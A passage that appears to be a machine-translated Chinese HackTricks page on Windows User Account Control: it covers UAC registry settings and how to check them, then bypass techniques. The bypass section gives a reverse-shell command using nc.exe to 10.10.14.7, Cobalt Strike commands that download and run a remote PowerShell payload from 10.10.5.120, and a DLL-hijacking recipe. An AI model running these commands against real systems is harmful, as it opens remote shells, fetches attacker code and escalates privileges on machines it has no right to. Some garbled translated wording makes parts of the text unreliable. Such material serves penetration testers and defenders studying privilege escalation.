hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

18 KiB
Raw Blame History

UAC - 用户账户控制

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

使用Trickest可以轻松构建和自动化工作流程,并由全球最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

用户账户控制UAC是一项功能,它为提升的活动启用了一个同意提示。应用程序具有不同的完整性级别,具有高级别的程序可以执行可能危及系统的任务。启用UAC后应用程序和任务始终以非管理员帐户的安全上下文下运行除非管理员明确授权这些应用程序/任务具有管理员级别访问权限以运行系统。这是一个方便的功能,可保护管理员免受意外更改,但不被视为安全边界。

有关完整性级别的更多信息:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

当UAC生效时管理员用户会获得2个令牌一个标准用户密钥用于以常规级别执行常规操作另一个带有管理员权限。

这个页面深入讨论了UAC的工作原理包括登录过程、用户体验和UAC架构。管理员可以使用安全策略来配置UAC在本地级别的工作方式使用secpol.msc或通过Active Directory域环境中的组策略对象GPO进行配置和推送。各种设置在这里详细讨论。有10个组策略设置可用于UAC。以下表提供了额外的细节

组策略设置 注册表键 默认设置
用户账户控制:内置管理员帐户的管理员批准模式 FilterAdministratorToken Disabled
用户账户控制允许UIAccess应用程序在不使用安全桌面的情况下提示提升 EnableUIADesktopToggle Disabled
用户账户控制:管理员批准模式中管理员的提升提示行为 ConsentPromptBehaviorAdmin Prompt for consent for non-Windows binaries
用户账户控制:标准用户的提升提示行为 ConsentPromptBehaviorUser Prompt for credentials on the secure desktop
用户账户控制:检测应用程序安装并提示提升 EnableInstallerDetection Enabled (default for home) Disabled (default for enterprise)
用户账户控制:仅提升已签名和验证的可执行文件 ValidateAdminCodeSignatures Disabled
用户账户控制仅提升已安装在安全位置的UIAccess应用程序 EnableSecureUIAPaths Enabled
用户账户控制:以管理员批准模式运行所有管理员 EnableLUA Enabled
用户账户控制:在提示提升时切换到安全桌面 PromptOnSecureDesktop Enabled
用户账户控制:将文件和注册表写入失败虚拟化到每个用户位置 EnableVirtualization Enabled

UAC绕过理论

一些程序如果用户属于管理员组,则会自动提升。这些二进制文件在其_清单中具有值为True_的_autoElevate_选项。该二进制文件还必须由Microsoft签名

因此,为了绕过UAC中等完整性级别提升到高级),一些攻击者使用这种类型的二进制文件来执行任意代码,因为它将从高级别完整性进程中执行。

您可以使用Sysinternals工具_sigcheck.exe_来检查二进制文件的_清单_。您可以使用_Process Explorer_或_Sysinternals_的_Process Monitor_来查看进程的完整性级别

检查UAC

要确认UAC是否已启用请执行以下操作

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

如果是**1则UAC已激活**;如果是**0不存在**则UAC为未激活

然后,检查已配置的哪个级别

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 如果 0,那么 UAC 不会提示(类似于 禁用
  • 如果 1,管理员会被要求输入用户名和密码以使用高权限执行二进制文件(在安全桌面上)
  • 如果 2始终通知我当管理员尝试以高权限执行某些内容时UAC 将始终要求管理员确认(在安全桌面上)
  • 如果 3 类似于 1 但不一定在安全桌面上
  • 如果 4 类似于 2 但不一定在安全桌面上
  • 如果 5默认),它将要求管理员确认以以高权限运行非 Windows 二进制文件

然后,您需要查看 LocalAccountTokenFilterPolicy 的值
如果值为 0,那么只有 RID 500 用户(内置管理员)能够在没有 UAC 的情况下执行 管理员任务,如果是 1"管理员" 组内的所有帐户都可以执行这些任务。

最后,查看 FilterAdministratorToken 键的值
如果是 0(默认),内置管理员帐户可以执行远程管理任务,如果是 1,内置管理员帐户 不能执行远程管理任务,除非 LocalAccountTokenFilterPolicy 设置为 1

总结

  • 如果 EnableLUA=0不存在任何人都没有 UAC
  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=1,任何人都没有 UAC
  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=0FilterAdministratorToken=0RID 500内置管理员没有 UAC
  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=0FilterAdministratorToken=1,所有人都有 UAC

所有这些信息可以使用 metasploit 模块收集:post/windows/gather/win_privs

您还可以检查用户的组并获取完整性级别:

net user %username%
whoami /groups | findstr Level

UAC绕过

{% hint style="info" %} 请注意如果您可以访问受害者的图形界面则UAC绕过非常简单因为您可以在UAC提示出现时直接点击“是”。 {% endhint %}

在以下情况下需要UAC绕过UAC已激活您的进程在中间完整性上下文中运行且您的用户属于管理员组

值得一提的是,如果UAC处于最高安全级别始终比处于其他任何级别默认更难绕过

UAC已禁用

如果UAC已被禁用ConsentPromptBehaviorAdmin为**0),您可以使用类似以下内容以管理员权限高完整性级别执行反向Shell**

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

使用令牌复制绕过UAC

非常基本的UAC“绕过”完全文件系统访问

如果您拥有一个属于管理员组的用户的shell您可以通过SMB文件系统本地挂载C$共享到新磁盘,然后您将可以访问文件系统中的所有内容(甚至管理员的主文件夹)。

{% hint style="warning" %} 看起来这个技巧不再起作用了 {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

使用 Cobalt Strike 绕过 UAC

只有在 UAC 没有设置为最高安全级别时Cobalt Strike 技术才能生效。

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploit也有几个模块可以绕过用户账户控制(UAC)。

KRBUACBypass

文档和工具在https://github.com/wh0amitz/KRBUACBypass

UAC绕过利用

UACME是几个UAC绕过利用的编译集合。请注意您需要使用Visual Studio或MSBuild编译UACME。编译将创建几个可执行文件(如Source\Akagi\outout\x64\Debug\Akagi.exe),您需要知道您需要哪一个
您应该小心,因为有些绕过会提示一些其他程序,这些程序会警告用户有事情发生。

UACME具有每个技术开始工作的构建版本。您可以搜索影响您版本的技术:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

更多UAC绕过

这个页面可以获取Windows版本1607的构建版本。

所有在这里用于绕过AUC的技术都需要与受害者进行**完全交互的shell常见的nc.exe shell不够

您可以使用meterpreter会话。迁移到一个具有Session值等于1进程

_explorer.exe_应该有效

使用GUI的UAC绕过

如果您可以访问GUI当出现UAC提示时您可以直接接受它无需绕过。因此访问GUI将允许您绕过UAC。

此外如果您获得了某人正在使用的GUI会话可能通过RDP那么有一些工具将作为管理员运行,您可以从中直接以管理员身份运行例如cmd而无需再次受到UAC的提示https://github.com/oski02/UAC-GUI-Bypass-appverif。这可能会更加隐蔽

嘈杂的暴力UAC绕过

如果您不在乎嘈杂,您可以始终运行类似于https://github.com/Chainski/ForceAdmin要求提升权限,直到用户接受为止

您自己的绕过 - 基本UAC绕过方法论

如果您查看UACME,您会注意到大多数UAC绕过都滥用了Dll劫持漏洞主要是将恶意dll写入_C:\Windows\System32_阅读此内容以了解如何找到Dll劫持漏洞

  1. 找到一个将自动提升权限的二进制文件(检查当执行时它是否以高完整性级别运行)。
  2. 使用procmon找到可能对DLL劫持有漏洞的“NAME NOT FOUND”事件。
  3. 您可能需要将DLL写入一些受保护路径如C:\Windows\System32在这些路径中您没有写入权限。您可以通过以下方式绕过
  4. wusa.exeWindows 7、8和8.1。它允许在受保护路径内提取CAB文件的内容因为此工具是以高完整性级别执行的
  5. IFileOperationWindows 10。
  6. 准备一个脚本将您的DLL复制到受保护路径内并执行易受攻击且自动提升权限的二进制文件。

另一种UAC绕过技术

观察自动提升权限的二进制文件是否尝试从注册表读取执行二进制文件命令名称/路径(如果二进制文件在HKCU中搜索此信息,则更有趣)。

利用Trickest轻松构建和自动化工作流,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}